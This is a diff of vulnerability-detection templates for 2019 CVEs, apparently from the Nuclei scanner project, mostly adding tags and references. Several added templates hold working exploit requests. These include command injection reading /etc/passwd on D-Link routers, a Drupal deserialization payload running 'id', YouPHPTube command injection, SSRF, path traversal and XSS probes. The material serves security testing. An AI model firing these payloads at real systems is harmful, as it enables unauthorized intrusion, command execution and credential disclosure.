+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
+      - |
+        POST /apply_sec.cgi HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Referer: http://{{Hostname}}/login_pic.asp
+        Cookie: uid=1234123
+        Upgrade-Insecure-Requests: 1
+
+        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "\\[(font|extension|file)s\\]"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
@@ -4,7 +4,8 @@ info:
  name: Zabbix Authentication Bypass
  author: Harsh Bothra
  severity: critical
-  # source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-17382
+  tags: cve,cve2019,zabbix

 requests:
  - method: GET
@@ -0,0 +1,29 @@
+id: CVE-2019-17506
+
+info:
+  name: DLINK DIR-868L & DIR-817LW Info Leak
+  author: pikpikcu
+  severity: critical
+  reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17506
+  tags: cve,cve2019,dlink
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/getcfg.php"
+
+    body: |
+        SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
+    headers:
+      Content-Type: text/xml
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "</password>"
+          - "DEVICE.ACCOUNT"
+        part: body
@@ -4,9 +4,10 @@ info:
  name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
  author: pikpikcu
  severity: critical
+  refrense: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
+  tags: cve,cve2019,apache,rce

 # Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
-# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
 # Issues:-https://issues.apache.org/jira/browse/SOLR-13971

 requests:
@@ -17,7 +18,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Content-Type: application/json
        Content-Length: 259
@@ -43,7 +43,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Connection: close
        Upgrade-Insecure-Requests: 1

@@ -4,8 +4,8 @@ info:
  name: Openfire Full Read SSRF
  author: pdteam - nuclei.projectdiscovery.io
  severity: critical
-
-  # Source:- https://swarm.ptsecurity.com/openfire-admin-console/
+  refrense: https://swarm.ptsecurity.com/openfire-admin-console/
+  tags: cve,cve2019,ssrf

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: Rumpus FTP Web File Manager 8.2.9.1 XSS
  author: madrobot
  severity: medium
+  tags: cve,cve2019,xss

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: Citrix ADC Directory Traversal
  author: organiccrap
  severity: high
+  tags: cve,cve2019,citrix,traversal

 requests:
  - method: GET
@@ -4,6 +4,7 @@ info:
  name: phpMyChat-Plus XSS
  author: madrobot
  severity: medium
+  tags: cve,cve2019,xss

 requests:
  - method: GET
@@ -4,8 +4,8 @@ info:
  name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
  severity: medium
-
-  # Source:-  https://www.exploit-db.com/exploits/48698
+  refrense: https://www.exploit-db.com/exploits/48698
+  tags: cve,cve2019,wordpress,wp-plugin

 requests:
  - method: GET
@@ -0,0 +1,27 @@
+id: CVE-2019-20141
+
+info:
+  name: Neon Dashboard - XSS Reflected
+  author: knassar702
+  severity: medium
+  description: An XSS issue was discovered in the Laborator Neon theme 2.0 for WordPress via the data/autosuggest-remote.php q parameter.
+  refrense: https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
+  tags: cve,cve2019,xss
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
+      - '{{BaseURL}}/admin/data/autosuggest-remote.php?q="><img%20src=x%20onerror=alert(1)>'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "><img src=x onerror=alert(1)>>)1(trela=rorreno"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -4,12 +4,12 @@ info:
  name: Oracle Business Intelligence Path Traversal
  author: madrobot
  severity: high
+  tags: cve,cve2019,oracle,traversal

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
-      - "{{BaseURL}}:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini"
    matchers-condition: and
    matchers:
      - type: word
@@ -4,6 +4,7 @@ info:
  name: Oracle WebLogic Server - Unauthenticated RCE
  author: dwisiswant0
  severity: critical
+  tags: cve,cve2019,oracle,weblogic,rce

  # Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
  # Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
@@ -18,7 +19,6 @@ requests:
  - method: POST
    path:
      - "{{BaseURL}}/_async/AsyncResponseService"
-      - "{{BaseURL}}:7001/_async/AsyncResponseService"
    body: >-
      <?xml version="1.0" encoding="UTF-8" ?>
      <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
@@ -1,10 +1,10 @@
 id: CVE-2019-3396
 info:
-  author: "Harsh Bothra"
-  name: "Atlassian Confluence Path Traversal"
+  author: Harsh Bothra
+  name: Atlassian Confluence Path Traversal
  severity: high
-
-# https://github.com/x-f1v3/CVE-2019-3396
+  refrense: https://github.com/x-f1v3/CVE-2019-3396
+  tags: cve,cve2019,atlassian,confluence,traversal,rce

 requests:
  - raw:
@@ -0,0 +1,24 @@
+id: CVE-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+  refrense: https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+  tags: cve,cve2019,atlassian,jira,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body
@@ -3,6 +3,7 @@ info:
  name: Spring-Cloud-Config-Server Directory Traversal
  author: madrobot
  severity: high
+  tags: cve,cve2019,traversal

 requests:
  - method: GET
@@ -0,0 +1,34 @@
+id: CVE-2019-5127
+
+info:
+  name: YouPHPTube Encoder RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-5127
+  tags: cve,cve2019,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/objects/getImage.php?base64Url=YGlkID4gbnVjbGVpLnR4dGA=&format=png"  #CVE-2019-5127
+      - "{{BaseURL}}/objects/getImageMP4.php?base64Url=YGlkID4gbnVjbGVpLnR4dGA=&format=jpg" #CVE-2019-5128
+      - "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url=YGlkID4gbnVjbGVpLnR4dGA=&format=jpg"  #CVE-2019-5129
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+  - method: GET
+    path:
+      - "{{BaseURL}}/objects/nuclei.txt"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "uid(.*)"
+          - "gid(.*)"
+        part: body
+        condition: and
+      - type: status
+        status:
+          - 200
@@ -4,7 +4,8 @@ info:
  name: File Content Disclosure on Rails
  author: omarkurt
  severity: medium
-  # reference: https://github.com/omarkurt/CVE-2019-5418
+  reference: https://github.com/omarkurt/CVE-2019-5418
+  tags: cve,cve2019,rails,traversal

 requests:
  - method: GET
@@ -4,14 +4,9 @@ info:
  name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
  author: dwisiswant0
  severity: medium
-
-  # A Cross-site scripting (XSS) vulnerability
-  # in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
-  # allows remote attackers to inject arbitrary web script or HTML
-  # via the keyword parameter (aka $search_term or the Search field).
-  # --
-  # References:
-  # > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+  description: A Cross-site scripting (XSS) vulnerability in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the keyword parameter (aka $search_term or the Search field).
+  references: https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
+  tags: cve,cve2019,wordpress,wp-plugin,xss

 requests:
  - method: GET
@@ -0,0 +1,40 @@
+id: CVE-2019-6340
+
+info:
+  name: Drupal 8 core RESTful Web Services RCE
+  author: madrobot
+  severity: critical
+  description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340
+  tags: cve,cve2019,drupal,rce
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/node/1?_format=hal_json'
+
+    body: '{
+  "link": [
+    {
+      "value": "link",
+      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+    }
+  ],
+  "_links": {
+    "type": {
+      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
+    }
+  }
+}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,27 @@
+id: CVE-2019-6715
+
+info:
+  name: CVE-2019-6715
+  author: randomrobbie
+  severity: high
+  description: W3 Total Cache 0.9.2.6-0.9.3 - Unauthenticated Arbitrary File Read / SSRF
+  tags: cve,cve2019,wordpress,wp-pluing,ssrf
+
+requests:
+  - raw:
+      - |
+        PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
+        Content-Length: 124
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+
+        {"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://rfi.nessus.org/rfi.txt"}
+
+    matchers:
+      - type: word
+        words:
+          - "TmVzc3VzQ29kZUV4ZWNUZXN0"
+        part: body
@@ -0,0 +1,27 @@
+id: CVE-2019-7219
+
+info:
+  name: Zarafa WebApp Reflected XSS
+  author: pd-team
+  severity: low
+  tags: cve,cve2019,zarafa,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/webapp/?fccc0\"><script>alert(1)</script>5f43d=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "\"><script>alert(1)</script>"
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -4,10 +4,11 @@ info:
  name: eMerge E3 1.00-06 - Remote Code Execution
  author: pikpikcu
  severity: critical
+  refrence: https://www.exploit-db.com/exploits/47619
+  tags: cve,cve2019,emerge,rce

 # Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
 # Software Link: http://linear-solutions.com/nsc_family/e3-series/
-# Refrence: https://www.exploit-db.com/exploits/47619

 requests:
  - raw:  # Default Port
@@ -17,7 +18,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -27,7 +27,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -37,6 +36,6 @@ requests:
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "root:"
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
@@ -4,6 +4,8 @@ info:
  name: Kibana Timelion Arbitrary Code Execution
  author: dwisiswant0
  severity: critical
+  reference: https://github.com/mpgn/CVE-2019-7609
+  tags: cve,cve2019,kibana,rce

  # Kibana versions before 5.6.15 and 6.6.1
  # contain an arbitrary code execution flaw in the Timelion visualizer.
@@ -11,15 +13,11 @@ info:
  # that will attempt to execute javascript code.
  # This could possibly lead to an attacker executing arbitrary commands
  # with permissions of the Kibana process on the host system.
-  # --
-  # References:
-  # - https://github.com/mpgn/CVE-2019-7609

 requests:
  - method: POST
    path:
      - "{{BaseURL}}/api/timelion/run"
-      - "{{BaseURL}}:5601/api/timelion/run"
    headers:
      User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
      Content-Type: "application/json; charset=utf-8"
@@ -0,0 +1,21 @@
+id: CVE-2019-8442
+info:
+  name: JIRA Directory Traversal
+  author: Kishore Krishna (siLLyDaddy)
+  severity: medium
+  tags: cve,cve2019,atlassian,jira,traversal
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - <groupId>com.atlassian.jira</groupId>
+        part: body
@@ -4,8 +4,8 @@ info:
  name: JIRA Unauthenticated Sensitive Information Disclosure
  author: Harsh Bothra
  severity: medium
-
-# source:- https://www.doyler.net/security-not-included/more-jira-enumeration
+  reference: https://www.doyler.net/security-not-included/more-jira-enumeration
+  tags: cve,cve2019,atlassian,jira

 requests:
  - method: GET
@@ -2,8 +2,10 @@ id: CVE-2019-8451

 info:
  name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource
-  author: "TechbrunchFR"
+  author: TechbrunchFR
  severity: medium
+  reference: https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
+  tags: cve,cve2019,atlassian,jira,ssrf

 # On September 9, Atlassian released version 8.4.0 for Jira Core and Jira Software, which included a fix for an important
 # security issue reported in August 2019.
@@ -13,7 +15,6 @@ info:
 # An unauthenticated attacker could exploit this vulnerability by sending a specially crafted web request to a vulnerable
 # Jira server. Successful exploitation would result in unauthorized access to view and potentially modify internal
 # network resources.
-# https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
 # https://twitter.com/benmontour/status/1177250393220239360
 # https://twitter.com/ojensen5115/status/1176569607357730817

@@ -4,6 +4,7 @@ info:
  name: Totaljs - Unathenticated Directory Traversal
  author: madrobot
  severity: high
+  tags: cve,cve2019,totaljs,traversal

 requests:
  - method: GET